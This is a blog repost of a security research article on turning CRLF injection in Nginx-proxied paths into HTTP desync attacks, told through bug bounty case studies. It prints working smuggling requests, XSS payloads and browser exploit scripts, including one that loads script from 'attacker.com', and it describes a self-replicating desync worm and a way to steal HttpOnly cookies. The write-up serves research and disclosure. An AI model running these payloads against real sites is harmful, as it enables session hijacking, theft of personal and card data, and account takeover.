core-jmp core-jmpdeath of core jump

CRLF-Powered Desync Attacks: Beheading HTTP Streams

HTTP header injection has been under-rated for twenty years. This research shows how one injected CRLF sequence in an Nginx-normalised path escalates into the full desync arsenal — response queue poisoning, CL.TE and 0.CL smuggling, cache poisoning and request tunnelling — and ultimately into a self-replicating CRLF-powered desync worm. It also introduces novel techniques for connection-locked and IP-locked desyncs by moving execution into the victim's browser, manufacturing XSS on domains that have none and reading back HTTPOnly cookies. Case studies span a CDN, a payment provider, TikTok, a streaming service and more.

oxfemale August 14, 2026 34 min read 84 reads
Export PDF
CRLF-Powered Desync Attacks: Beheading HTTP Streams
Original text: “CRLF-Powered Desync Attacks: Beheading HTTP Streams”Tom Stacey (@t0xodile), co-authored with Tobia Righi (@m4st3rspl1nt3r, TurtleSec), PortSwigger Research, 5 August 2026. Code, figures and the video below are reproduced verbatim with attribution captions.

Executive Summary

HTTP header injection has spent two decades filed under “low severity”. It usually gets triaged as an open redirect, an occasional reflected XSS, or a curiosity worth a few hundred dollars. This research dismantles that assumption. By treating an injected CRLF sequence not as a formatting bug but as an attacker-controlled request boundary, Tom Stacey and Tobia Righi show that a single injection point is frequently enough to reach the full arsenal of desync attacks — response queue poisoning, CL.TE smuggling, 0.CL, cache poisoning, request tunnelling and, at the top end, a self-replicating desync worm that spreads from one victim browser to the next.

The root cause is mundane and extremely widespread: Nginx normalises and URL-decodes the request path when $uri is used inside a proxy_pass or return directive, so %0d%0a in the path becomes a real newline in the upstream request. From there the paper walks through detection primitives that produce unambiguous status codes, then a chain of real case studies: response queue poisoning inside a CDN’s own infrastructure that leaked session cookies for thousands of unrelated tenants, credit-card data exfiltrated from a payment provider’s Kubernetes cluster, an account-takeover desync on a clothing retailer that went spectacularly wrong in production, and cookie tossing on TikTok. It also introduces novel techniques for the desync classes normally dismissed at triage — connection-locked and IP-locked desyncs — by relocating the attack into the victim’s own browser, where it can manufacture XSS out of thin air and read back HTTPOnly cookies. Reported bounties across the case studies total roughly $35,000.

Research Origins

The work started with irritation rather than inspiration. A Bluesky post described the technique as “not that uncommon”, which grated on the authors precisely because they had never managed to find it in the wild. Two prior papers — both Top 10 Web Hacking Techniques entries — framed the gap. James Kettle’s Making HTTP header injection critical via response queue poisoning demonstrated that request splitting could be escalated to smuggling, but leaned on a single case study. Sergey Bobrov’s HTTP Request Splitting Vulnerabilities Exploitation established how common the underlying Nginx misconfiguration actually is, but only gestured at the desync potential.

The obvious experiment was to cross the two: take Kettle’s desync methodology and apply it systematically to everything that looked injectable. The first live target made the potential clear, and the gaps in the current understanding of the technique started to surface almost immediately.

Background: HTTP Request Smuggling

Everything that follows assumes a working mental model of request smuggling — front-end and back-end disagreeing about where one request ends and the next begins. If that is not yet second nature, the free Web Security Academy material on request smuggling is the prerequisite the authors themselves recommend before going any further.

The shorthand used throughout is worth restating. In a CL.TE desync the front-end honours Content-Length while the back-end honours Transfer-Encoding, so a terminating 0 chunk convinces the back-end the request has ended while the front-end keeps sending — leaving the remainder as a prefix on the next victim’s request. A 0.CL desync inverts the problem: the front-end believes the request has no body while the back-end is still waiting for one. Response queue poisoning is a different outcome again — rather than prefixing one victim request, it permanently offsets the mapping between requests and responses on a connection. What makes the CRLF route distinctive is that the attacker never has to find a header the two servers parse differently; the disagreement is manufactured directly by writing a new header into the upstream request.

Request Header Injection

The primitive is a configuration pattern, not a memory-safety bug. When an Nginx configuration interpolates the $uri variable into a proxy_pass target, Nginx normalises the path before use. Normalisation includes URL-decoding, and URL-decoding includes %0d%0a. The consequence is that an attacker who controls the path controls the line structure of the request Nginx forwards upstream.

# nginx.conf
http {
    upstream backend {
        server backend.internal.com:8000;
    }
    server {
        location / {
            proxy_pass http://backend$uri;
        }
    }
}

A minimal proof injects a bogus Content-Length header while keeping the rest of the request syntactically intact, which produces a predictable 400.

Attacker request

GET /%20HTTP/1.1%0d%0aContent-Length:%20X%0d%0aX:%20x HTTP/1.1
Host: example.com

Upstream request

GET / HTTP/1.1
Content-Length: X
X: x HTTP/1.1
Host: example.com

Response

HTTP/1.1 400 Bad Request

The distinction that matters is between $uri and $request_uri. $request_uri is the raw path exactly as the client sent it, still percent-encoded, so %0d%0a is forwarded as the six harmless literal characters it appears to be. $uri is the normalised path, and normalisation decodes those escapes into a genuine carriage return and line feed before the value is interpolated into the upstream request line. Nothing here is a parser bug — Nginx is doing precisely what it documents. The vulnerability is that a decoded value is being written into a newline-delimited protocol, which hands the client a free hand over the request’s structure.

Reasoning about these payloads in raw percent-encoded form gets painful quickly. The paper adopts Hackvertor notation, which is considerably easier to work with inside Burp Suite and is used for the remainder of the research: everything between the tags is what gets URL-encoded.

GET /<@urlencode_all> HTTP/1.1
Content-Length: X
X: x</@urlencode_all> HTTP/1.1
Host: example.com

Detecting Request Header Injection

Detection is mercifully straightforward. Inject a header, or a piece of deliberately invalid HTTP syntax, that forces the upstream server into a status code it would never otherwise return. An impossible protocol version is the cleanest signal available.

Request

GET /<@urlencode_all> HTTP/13.37
Foo: bar</@urlencode_all> HTTP/1.1

Response

HTTP/1.1 505 Version Not Supported

A Transfer-Encoding value the back-end cannot process gives a second, equally unambiguous oracle.

Request

GET /<@urlencode_all> HTTP/1.1
Transfer-Encoding: x
Foo: bar</@urlencode_all> HTTP/1.1

Response

HTTP/1.1 501 Not Implemented

HTTP Request Splitting

Historically, request splitting meant an unusually powerful form of CSRF. Kettle’s contribution was showing that splitting the request into exactly two well-formed requests, plus a little automation, escalates it to response queue poisoning.

What makes this so reliable is that nothing about it violates the RFC. Two consecutive CRLF sequences are simply a request boundary; no mutated or ambiguous header is required, so the technique works out of the box against a wide range of stacks. The Connection header is sometimes necessary and sometimes not — worth adding while experimenting, though it is omitted from most examples here for clarity.

Request

GET /<@urlencode_all> HTTP/1.1
Host: example.com
Connection: keep-alive

TRACE / HTTP/1.1
X: x</@urlencode_all> HTTP/1.1
Host: example.com

Response

HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 405 Method Not Allowed

Response Queue Poisoning via Request Splitting

Response queue poisoning is the payoff. Smuggle two complete requests and the server permanently loses track of which response belongs to which client. Every user on that connection starts receiving responses intended for somebody else.

The reason it is so damaging is that the poisoning is persistent for the lifetime of the connection. A prefix-based smuggle affects one victim request and then the connection resynchronises; response queue poisoning leaves the queue permanently offset by one, so every subsequent response on that connection goes to the wrong client until the connection is torn down. The attacker does not need to win a race repeatedly — they need to win it once and then keep reading.

From the attacker’s side this is a continuous harvest: an endless stream of other people’s responses carrying session cookies, tokens and personal data — while simultaneously denying service to everyone else sharing the connection.

Response Queue Poisoning via Request Splitting
Response Queue Poisoning via Request Splitting. Source: original article.

RQP Inside the Infrastructure of a CDN

Within days of scanning with nothing more exotic than the techniques from the earlier response-queue-poisoning paper, the authors found a domain where RQP triggered cleanly. The responses coming back, however, did not belong to the target application at all — they were a stream of unrelated applications on visibly different tech stacks. The only explanation that fit was that the desync was happening inside the CDN’s own infrastructure. They confirmed it by identifying the origin domain of each stolen response and verifying each one was hosted on the same CDN.

RQP inside of a CDN
Response queue poisoning occurring inside a CDN. Source: original article.

The program did not believe the report and asked for more evidence, which pushed the research into considerably more dangerous territory. When a desync lands this close to the edge, adjusting the Host header often lets you route requests to arbitrary domains on the CDN. The authors located a persistent storage gadget and used a classic prefix attack to capture other users’ requests into their own account’s nickname field. Each captured request carried a Host header showing where it had originally been routed — exactly the evidence triage had demanded.

The impact scaled with the evidence: capturing requests meant capturing session cookies and authentication tokens for thousands of applications hosted across the CDN.

Capturing requests inside of a CDN
Capturing other users’ requests inside the CDN. Source: original article.

Header Injection via a Custom Upstream Header

The injection does not always land in the path. A recurring variant places it inside a custom header that the front-end adds when proxying — here, X-Original-Url.

Attacker request

GET /%0d%0aHost:%20x HTTP/1.1
Host: tele.com

Upstream request

GET / HTTP/1.1
Host: tele.com
X-Original-Url: /
Host: x

Response

HTTP/1.1 400 Bad Request

Once the exact insertion point is understood, these cases are trivial. On this major telecoms provider the authors terminated the request early and appended a second complete request, producing response queue poisoning again.

Attacker request

OPTIONS /<@urlencode_all>

GET / HTTP/1.1
Host: tele.com
Connection: keep-alive

</@urlencode_all> HTTP/1.1
Host: tele.com

Upstream request

OPTIONS / HTTP/1.1
Host: tele.com
X-Original-Url: /

GET / HTTP/1.1
Host: tele.com
Connection: keep-alive

Response

HTTP/1.1 200 OK
Allow: OPTIONS, GET

HTTP/1.1 200 OK
Allow: OPTIONS, GET

HTTP/1.1 200 OK
{"token":"eyJ..."}

Running the exploit across 500 connections for a little over twenty minutes started returning access tokens from the provider’s internal infrastructure — a $20,000 bounty.

Header Injection via Non-Path Insertion Points

The insertion point need not be the path at all. The authors knew this was theoretically possible but had never found a single live case until they handed the scanner design to Claude. Something about its approach differed from theirs, because it immediately surfaced request header injection inside a payment provider’s session cookie.

Attacker request

POST /graphql/v1 HTTP/1.1
Host: payment.com
Cookie: sess=abc<@urlencode_all>
Transfer-Encoding: notchunked
X: x</@urlencode_all>

Upstream request

POST /graphql/v1/abc
Transfer-Encoding: notchunked
X: x HTTP/1.1
Host: payment.com

Response

HTTP/1.1 501 Not Implemented

The injected cookie value is concatenated back into the upstream request’s path, which makes RQP straightforward from there.

Attacker request

POST /graphql/v1 HTTP/1.1
Host: payment.com
Cookie: sess=abc<@urlencode_all> HTTP/1.1
Host: payment.com
Connection: keep-alive

GET / HTTP/1.1
Connection: keep-alive
X: x</@urlencode_all>

Upstream request

POST /graphql/v1/abc HTTP/1.1
Host: payment.com
Connection: keep-alive

GET / HTTP/1.1
Connection: keep-alive
X: x HTTP/1.1
Host: payment.com

Response

HTTP/1.1 200 OK

HTTP/1.1 200 OK
Access-Control-Allow-Origin: x.ecom

{"card_num":"..."}

HTTP/1.1 200 OK
Access-Control-Allow-Origin: y.ecom

{"card_num":"..."}

Firing the exploit returned credit card numbers and PII belonging to multiple major corporations. Response headers showed the desync was occurring inside the provider’s Kubernetes cluster — meaning customer data could be exfiltrated at random from every organisation using that payment provider.

AI-Generated Detection Techniques

As the research progressed the existing detection signatures grew unreliable. Looking for new ones, the authors asked Claude, which returned the Expect header and its distinctive 417 status code — a status almost nothing else produces by accident.

Request

GET /<@urlencode_all> HTTP/1.1
Expect: asdf
X: x</@urlencode_all> HTTP/1.1
Host: example.com 

Response

HTTP/1.1 417 Expectation Failed
Connection: close 

With that added to the tooling they quickly flagged a popular clothing store. The usual two-CRLF split, however, consistently returned an error and a closed connection.

Request

GET /<@urlencode_all> HTTP/1.1
Host: example.com
Connection: keep-alive

GET / HTTP/1.1
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com

Response

HTTP/1.1 400 Bad Request
Connection: close

Injecting a single header still worked, because that avoids two consecutive CRLF sequences entirely.

Request

GET /<@urlencode_all> HTTP/1.1
Random_header: asdf
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com

Response

HTTP/1.1 200 OK

Which left exactly one question: can you reach a desync using a single injected header?

CRLF-Powered CL.TE Desync Attacks

You can. Pair a legitimate Content-Length header with an injected Transfer-Encoding header and the result is a textbook CL.TE desync. A 0.CL desync is also reachable, as shown later, but it is substantially harder to exploit — CL.TE is the better target wherever both are available.

The timeout technique confirms whether the injected header is genuinely being processed upstream.

Request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com
Content-Length: 13

d
x=y
0

Response

-TIMEOUT-

The Desync Disaster

With a working desync in hand, the next step was proving cross-user impact by smuggling a profile update.

Attacker request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: clothes.shop
Content-Length: 66

0

POST /user/update?name=t0xodile
Cookie: SESSID=abcdefg
X: x

Response

HTTP/1.1 200 OK

Victim request

GET / HTTP/1.1
Host: clothes.shop 

Victim response

HTTP/1.1 200 OK
Set-Cookie: SESSID=abcdefg

Profile Updated

It worked, and then it went badly wrong. What the authors had missed was that the response reflected the attacker’s session cookie — so every user caught by the desync was instantly logged into the researcher’s account. The visible symptom was memorable: the attacker’s shopping cart filling with new items on every refresh as thousands of live users unwittingly fought over the same basket.

Cart Disaster. Source: original article.

The controlled version of the exploit swapped the smuggled update to overwrite users’ email addresses instead, which yields account takeover for every live user across every subdomain of the shop. The program forgave the disruption and paid $2,200.

Attacker request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: clothes.shop
Content-Length: 69

0

POST /user/update?email=t0x@atk.cc
Cookie: SESSID=abcdefg
X: x

Response

HTTP/1.1 200 OK

Victim request

GET / HTTP/1.1
Host: clothes.shop 

Victim response

HTTP/1.1 200 OK
Set-Cookie: SESSID=abcdefg

Profile Updated

The Nested Response Mystery

A major phone manufacturer’s accounts subdomain produced stacked responses that did not match any familiar pattern.

Attacker request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: account.phones.com
Content-Length: 87

0

GET / HTTP/1.1
Host: account.phones.com
x-req-id: <img/src/onerror=alert(1)>

Response

HTTP/1.1 404 Not Found
Content-Type: application/octet-stream

Not FoundHTTP/1.1 400 Bad Request
Content-Type: application/octet-stream

X-Req-Id=<img/src/onerror=alert(1)> 

The initial read was request tunnelling, which would have ruled out cross-user impact and killed the finding. Pushing the connection count much higher revealed otherwise: a full desync that did reach other users.

The mechanism is still not fully confirmed. The authors’ best explanation is that the front-end performs a small over-read when processing responses, and instead of discarding the surplus and resetting the connection, it forwards that extra data. That leaves a narrow race window in which an entire additional response can be appended to another live user’s response.

The XSS payload would not fire, because the Content-Type on the nested response prevented the browser from rendering it as HTML. On a friend’s advice the authors substituted a blind XSS payload as a last resort — and it worked spectacularly, producing pingbacks from mobile phones around the world.

Attacker request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: account.phones.com
Content-Length: 86

0

GET / HTTP/1.1
Host: account.phones.com
x-req-id: <img/src/onerror=fetch()>

Response

HTTP/1.1 200 OK
Content-Type: text/html

…
</html>HTTP/1.1 400 Bad Request
Content-Type: application/octet-stream

X-Req-Id=<img/src/onerror=fetch()> 

To finish the exploit, Tobia reused a QR code gadget from his earlier research to perform account takeover against arbitrary live users. The program initially closed the report as a duplicate; a check months later showed the recreation flow still worked, and after emailing the security team the report was reopened and awarded $500.

Cache Poisoning and the AI-Generated HEAD Gadget

The final CL.TE case study was a major social media platform’s CDN domain, where the home page could be poisoned with any valid response on the platform. The authors considered that a solid finding; the program wanted more impact.

Attacker request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: cdn.doomscroll.com
Content-Length: 46

0

GET /images/randomlogo.png HTTP/1.1
X: x

Response

HTTP/1.1 200 OK
X-Cache: MISS

HTTP/1.1 200 OK
X-Cache: MISS

HTTP/1.1 200 OK
X-Cache: MISS

Subsequent request

GET / HTTP/1.1
Host: cdn.doomscroll.com

Response

HTTP/1.1 200 OK
X-Cache: HIT

<image>

The HEAD technique is worth unpacking, because it recurs in every remaining case study. A HEAD response carries the Content-Length the equivalent GET would have produced, but no body to go with it. A front-end that trusts that header therefore reads the promised number of bytes and, finding no body, keeps reading straight into whatever follows on the connection — which is the attacker’s next stacked response. The effect is a controlled over-read that splices attacker-chosen bytes into a response the victim’s browser treats as coming from the legitimate origin. The constraint is arithmetic: you need a response whose length falls inside a narrow window, or the over-read lands in the wrong place.

With no usable gadgets anywhere on the domain, the HEAD technique was the remaining option. Finding a response of exactly the right size had already cost months of digging, so the authors simply asked Claude for a response falling between two specific Content-Length values. It returned the default 414 URI Too Long response — which fit.

From there a HEAD request with a deliberately overlong path was enough to serve XSS to random live users.

Attacker request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: cdn.doomscroll.com
Content-Length: <correct>

0

HEAD /?<a*1000> HTTP/1.1

GET / HTTP/1.1
X-Reflect: <img/src/onerror=fetch()>
Content-Length: 100

x=y

Response

HTTP/1.1 414 URI Too Long
Content-Type: text/html
Content-Length: 64

HTTP/1.1 204 No Content
X-Reflect: <img/src/onerror=fetch()>

Browser-Powered CRLF Desync Attacks

In Browser-Powered Desync Attacks, James Kettle showed that a handful of desync classes are entirely fetch-spec compatible, meaning a browser can issue them directly. After months of exploiting CRLF-powered desyncs by hand, the authors realised the same holds here.

For the overwhelming majority of CRLF-powered desyncs, a fetch() call — or even a plain browser navigation — is sufficient to trigger the attack. Request splitting translates directly:

Equivalent raw request

GET /<@urlencode_all> HTTP/1.1
Host: example.com
Connection: keep-alive

GET / HTTP/1.1
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com

Browser payload

fetch(
  "https://example.com/%20HTTP/1.1%0d%0a
   Host:%20example.com%0d%0a
   Connection:%20keep-alive%0d%0a%0d%0a
   GET%20/%20HTTP/1.1%0d%0aFoo:%20bar"
)

And so does the CL.TE variant, with the smuggled prefix carried in the request body.

Equivalent raw request

POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com
Content-Length: 27

0

TRACE / HTTP/1.1
X: x

Browser payload

fetch(
  "https://example.com/%20HTTP/1.1%0d%0a
   Transfer-Encoding:%20chunked%0d%0a
   Foo:%20bar",
  {
    method: "POST",
    body: "0\r\n\r\nTRACE / HTTP/1.1\r\nX: x"
  }
)

CRLF-Powered Desync Worms

In that same paper Kettle theorised the endgame: abuse request smuggling to fire XSS in a victim’s browser, then use that browser as the launch platform for the same desync via fetch, spreading to further victims. A self-replicating desync worm.

CRLF-Powered Desync Worm
The CRLF-Powered Desync Worm. Source: original article.

This is where the class becomes genuinely dangerous. CRLF-powered desyncs are usually browser-compatible by default, so wherever an XSS gadget exists — via the HEAD technique or anything else — a worm is achievable. Looking back over the case studies above, essentially all of them were very likely browser-compatible and therefore susceptible to exactly this scenario. It is also a useful argument to have ready when a report stalls in triage.

Exploiting browser-powered desyncs that affect other users follows the same process as any other desync, so the paper does not dwell on it. The interesting part is what launching from the victim’s browser unlocks in the cases where cross-user exploitation is normally impossible — which is the subject of the rest of the research.

HTTP Request Tunnelling

Request tunnelling looks identical to request smuggling from the outside, but cross-user exploitation is off the table because keep-alive connections are not reused between clients. The Web Security Academy covers the fundamentals.

Bypassing Blind Request Tunnelling

Tunnelling is awkward mainly because it is blind — the smuggled prefix never visibly affects the responses you get back. Switching to the HEAD verb sometimes forces the front-end into an accidental over-read from the back-end, revealing the tunnelled response, but it is inconsistent.

The authors found something far more reliable. When Nginx receives a 100-continue response it was not expecting, it sees a response with no Content-Length and keeps reading until the data runs out or the connection closes — helpfully handing back the smuggled response. Without the injected Expect header the attack stays blind:

Request

GET /<@urlencode_all> HTTP/1.1
Host: example.com
Connection: keep-alive

TRACE / HTTP/1.1
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com

Response

HTTP/1.1 200 OK

With it, the tunnelled response comes straight back.

Request

GET /<@urlencode_all> HTTP/1.1
Host: example.com
Connection: keep-alive
Expect: 100-continue

TRACE / HTTP/1.1
Foo: bar</@urlencode_all> HTTP/1.1
Host: example.com

Response

HTTP/1.1 100 Continue

HTTP/1.1 200 OK

HTTP/1.1 405 Method Not Allowed

Bypassing Access Controls via Request Tunnelling

The natural target for that primitive is a front-end access control rule. On a well-known car manufacturer’s domain, tunnelling past the front-end exposed an internal configuration file that the edge was supposed to block.

Request

GET /robots.txt<@urlencode_all> HTTP/1.1
Host: carmanufacturer.com
Connection: keep-alive
Expect: 100-continue

GET /config HTTP/1.1
X: x</@urlencode_all> HTTP/1.1
Host: carmanufacturer.com 

Response

HTTP/1.1 100 Continue

HTTP/1.1 200 OK

Disallow: /HTTP/1.1 200 OK
Content-Type: application/json

{"config":{"...”}} 

Browser-Powered Connection-Locked Desyncs

A connection-locked desync requires you to reuse your own keep-alive connections from the client in order for the connections to be reused upstream. As with tunnelling, that ordinarily rules out the standard cross-user exploitation routes.

Browser-Powered 0.CL

On a major streaming service neither request splitting nor an injected Transfer-Encoding header did anything. After HTTP/1.1 must die was published, the authors reconsidered the target as a connection-locked 0.CL candidate. Reusing their own keep-alive connections to the front-end produced unmistakable desync behaviour.

Request

GET /images/<@urlencode_all> HTTP/1.1
Content-Length: 7
X: x</@urlencode_all> HTTP/1.1
Host: secure.streaming.com
Connection: keep-alive

GET /images/<@urlencode_all> HTTP/1.1
Content-Length: 7
X: x</@urlencode_all> HTTP/1.1
Host: secure.streaming.com
Connection: keep-alive

Response

HTTP/1.1 200 OK





HTTP/1.1 400 Bad Request

The exploitation route was the HEAD technique, driven by two requests sent down the same connection, ending in XSS.

Request

GET /images/<@urlencode_all> HTTP/1.1
Content-Length: 23
X: x</@urlencode_all> HTTP/1.1
Host: secure.streaming.com
Connection: keep-alive

GET /images/<@urlencode_all> HTTP/1.1
HEAD /50x.html HTTP/1.1
Host: localhost

GET /status<svg/onload=alert(1)> HTTP/1.1
Host: secure.streaming.com

</@urlencode_all> HTTP/1.1
Host: secure.streaming.com
Connection: keep-alive

Response

HTTP/1.1 200 OK






HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 307 Temporary Redirect
Location: /status<svg/onload=alert(1)>

That left the hard part: getting it to happen inside a browser. Browsers are eager to reuse connections but only under specific conditions. Combining window.open() with a subsequent location navigation landed both requests on the same connection and triggered the exploit.

Browser payload

<script>
code = `s=document.createElement('script');
  s.src='https://attacker.com/xss.js?nocache';document.body.appendChild(s)`;
stage1 = "https://secure.streaming.com/%20HTTP/1.1%0d%0a
  Content-Length:%2023%0d%0a
  X:%20x";
stage2 = "https://secure.streaming.com/images/%20HTTP/1.1%0d%0a
  HEAD%20/50x.html%20HTTP/1.1%0d%0a
  Host:%20localhost%0d%0a%0d%0a
  GET%20/status%3Csvg/onload=eval(atob('"+btoa(code)+"'))%3E%20HTTP/1.1%0d%0a
  Host:%20secure.streaming.com%0d%0a%0d%0a";
</script>

<button id="first" target="_blank" onclick="let w=window.open(stage1);
  setTimeout(() => {w.close(); location=stage2}, 500); return false;">

Click me!

</button>

The resulting XSS was used to steal PII from the target’s core domain via a CORS misconfiguration, earning $5,000.

Browser-Powered IP-Locked Desyncs

An IP-locked desync only affects users sharing the same public IP — corporate NAT, or a shared VPN egress. For most bug bounty programs that caveat is fatal at triage.

Moving the attack into the victim’s browser resolves it: the victim executes the desync on your behalf, from their own IP. Where other users share that public IP, they are impacted too.

Request Splitting with HEAD + Range

On another target, HTTP/2 combined with an injected Expect header produced an IP-locked desync.

Request

GET /docs/index.html<@urlencode_all>? HTTP/1.1
Host: proxy.account.software.com
Connection: keep-alive
Expect: 100-continue

TRACE / HTTP/1.1
X: x</@urlencode_all> HTTP/2
Host: proxy.account.software.com

Response

HTTP/2 100 Continue

HTTP/1.1 200 OK

HTTP/2 100 Continue

HTTP/1.1 200 OK

HTTP/2 100 Continue

HTTP/1.1 200 OK

HTTP/2 405 Method Not Allowed

The HEAD technique was again the exploitation route, but the available responses were too short to be useful. The insight that unlocked it was the Range header — arguably the ultimate HEAD technique gadget.

Range lets the client request a specific byte range, and the server adjusts Content-Length to match automatically. Given any sufficiently long response, that means the HEAD technique can be made to over-read into a payload of effectively arbitrary length. With a reflection gadget located, the exploit came together:

Request

GET /docs/index.html<@urlencode_all>? HTTP/1.1
Host: proxy.account.software.com
Expect: 100-continue
Range: bytes=1-2

HEAD /docs/ HTTP/1.1
Host: proxy.account.software.com
Range: bytes=1-650
Connection: keep-alive

POST /docs/ HTTP/1.1
Host: proxy.account.software.com
Content-Length: 20

<script/src=\\atk.cc></@urlencode_all> HTTP/2
Host: proxy.account.software.com

Response

HTTP/2 206 Partial Content
Content-Type: text/html
Content-Range: bytes 1-650/X
Content-Length: X

HTTP/1.1 400 Bad Request

"Unexpected token '<, 
 \"<script/src=\\atk.cc>
 \" is not validJSON"

A length limit in the reflection gadget meant the injected script tag arrived without a closing tag. Rather than abandon it, the authors stacked another request into the HEAD gadget and used Range to fetch nothing but the closing </script>.

Request

GET /docs/index.html<@urlencode_all>? HTTP/1.1
Host: proxy.account.software.com
Expect: 100-continue
Range: bytes=1-2

HEAD /docs/ HTTP/1.1
Host: proxy.account.software.com
Range: bytes=1-650

POST /docs/ HTTP/1.1
Host: proxy.account.software.com
Content-Length: 20

<script/src=\\atk.cc>GET /index.html HTTP/1.1
Range: bytes=2828-2836
X: x</@urlencode_all> HTTP/2
Host: proxy.account.software.com

Response

HTTP/2 206 Partial Content
Content-Type: text/html
Content-Range: bytes 1-650/X
Content-Length: X

HTTP/1.1 400 Bad Request

"Unexpected token '<, 
 \"<script/src=\\atk.cc>
 \" is not validJSON"HTTP/1.1 206
 Content-Range: bytes 2828-2836/X
 Content-Length: 9

</script>

Porting this into the browser was harder than the 0.CL case, because RQP was required and the window.open() trick was not fast enough to be consistent. Tobia’s solution was to create iframes rapidly, each loading the attack, and remove them after a short delay to stop the browser from crashing.

Browser payload

function createIframe(i) {
   e = document.createElement("iframe")
   e.src = "https://proxy.account.software.com/docs/index.html%20HTTP/1.1%0d%0a
            …?count=" + i
   e.style = "display: none;"
   e.addEventListener("onload", () => {
       setTimeout(() => {
           e.remove();
       }, 3000); //Adjust time that iframe is alive
   })
   e.addEventListener("error", () => {
       setTimeout(() => {
           e.remove();
       }, 3000);
   })
   document.body.appendChild(e);
}

Driver loop

count = 0;
var inter = setInterval(() => {
   createIframe(count);
   count++;
}, 10); //Adjust delay between new iframes here

Tuning the timeout was the fiddly part — too short and the XSS never executes, too aggressive and the browser dies. Reliable exploitation required roughly ten seconds of victim dwell time, which a convincing “Loading your profile” page bought comfortably. The XSS was then used against a CORS misconfiguration to extract authentication tokens and PII from the compromised iframe, earning $3,255.

Stealing HTTPOnly Cookies

The final desync case study landed on a domain where XSS was, on paper, worthless: a well-implemented 2FA flow gated every sensitive action, and the session cookie carried the HttpOnly attribute.

While exploring, Tobia noticed the session cookie was refreshed on certain responses. That raised the question behind the whole technique: could the HEAD technique produce XSS and then stack a second response containing sensitive data behind it, pushing the Set-Cookie header down into the response body where script can read it?

Request

GET /api/footer<@urlencode_all>? HTTP/1.1

HEAD /abc HTTP/1.1
Host: accounts.shop.com
Connection: keep-alive

GET /static?<xss-payload> HTTP/1.1
Host: accounts.shop.com

GET /api/account HTTP/1.1
Host: accounts.shop.com
X: x</@urlencode_all> HTTP/2
Host: accounts.shop.com
Cookie: Session=victim

Response

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 17982

HTTP/1.1 301 Moved Permanently
Location: /?<xss-payload>

…

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Session=victim; HttpOnly

{"email":"victim@gmail.com",... }

It worked. The XSS simply reads the DOM — which now contains the victim’s session token as body text rather than a protected cookie — and exfiltrates it to an attacker-controlled server.

Using the victim’s session meant iframes were unusable here. Instead the attack waits for a click (which also satisfies the pop-up blocker), then opens a window that refreshes continuously until the XSS fires.

Browser payload

const REQ = "https://accounts.shop.com/api/get_footer_layout%3f%20%48%54%54%50%2f%32
 %0d%0a%0d…";
const w = window.open(REQ, "shop_win", "width=300,height=200");
setInterval(() => {
    for (const w of wins) w.location = REQ + "?count=" + (i++);  // cache-buster
}, 3000);

// Chrome allows one window.open per user gesture — so every victim click
// buys another window which we keep track of.
document.addEventListener("click", () => openWindow());

// s.js (now running first-party) signals success back:
window.addEventListener("message", ev => {
    if (ev.data?.event === "popped") { /* XSS landed */ }
});

Bypassing Response Header Removal

The Expect header keeps paying dividends outside desync attacks proper. HTTP/1.1 must die showed that Expect can make a front-end forget to strip sensitive response headers. The same outcome is reachable on a much wider set of targets by injecting the header instead of sending it directly.

Request

GET /<@urlencode_all> HTTP/1.1
Expect: 100-continue
Foo: bar</@urlencode_all> HTTP/1.1
Host: shop.minisoft.com

Response

HTTP/1.1 100 Continue

HTTP/1.1 200 OK
x-fd-int-roxy-origin-ip: <redacted>
x-fd-int-roxy-origin-name: <redacted>
x-fd-int-roxy-origin-url: <redacted>
x-fd-int-roxy-upstream-error-info: <redacted>
x-fd-int-roxy-originshield-parent: <redacted>

Response Header Injection

The obvious follow-up question is what happens on the response side. Response header injection — usually called response splitting, despite the response not actually being split in two the way a request is — is well known, and it arises from a near-identical Nginx misconfiguration.

# nginx.conf
location / {                                                  
  return 302 https://example.com$uri;
}

Injecting a header into the redirect response is then trivial.

Request

GET /%0d%0aX-In-Hdr:%201%0d%0a%0d%0a HTTP/1.1
Host: sub.example.com

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx
Location: https://example.com/
X-In-Hdr: 1

Cookie Tossing on TikTok

Injecting a Set-Cookie response header lets an attacker attach their own session to the victim’s browser.

Request

GET /%0d%0aSet-Cookie:%20Sess=abc%0d%0a%0d%0a HTTP/1.1
Host: redacted.tiktok.com

Response

HTTP/1.1 302
Location: /404?prev_url=/
Set-Cookie: Sess=abc

Every sensitive action the victim performs from that point lands in the attacker’s session instead of their own. On a TikTok domain this allowed the authors to steal the victim’s newly uploaded private clips.

Cookie Tossing
Cookie tossing on a TikTok domain. Source: original article.

Triage on this one was, by the authors’ account, an unusually smooth experience, and it paid $4,500.

XSS on a Redirect Response

If you can inject one newline, why not two? Breaking out of the header block and into the response body looks like a straightforward route to reflected XSS. In practice it rarely works, because response header injection almost always occurs on a redirect response and after the start of the Location header — so you cannot break the header’s syntax, and the browser follows the redirect before rendering anything.

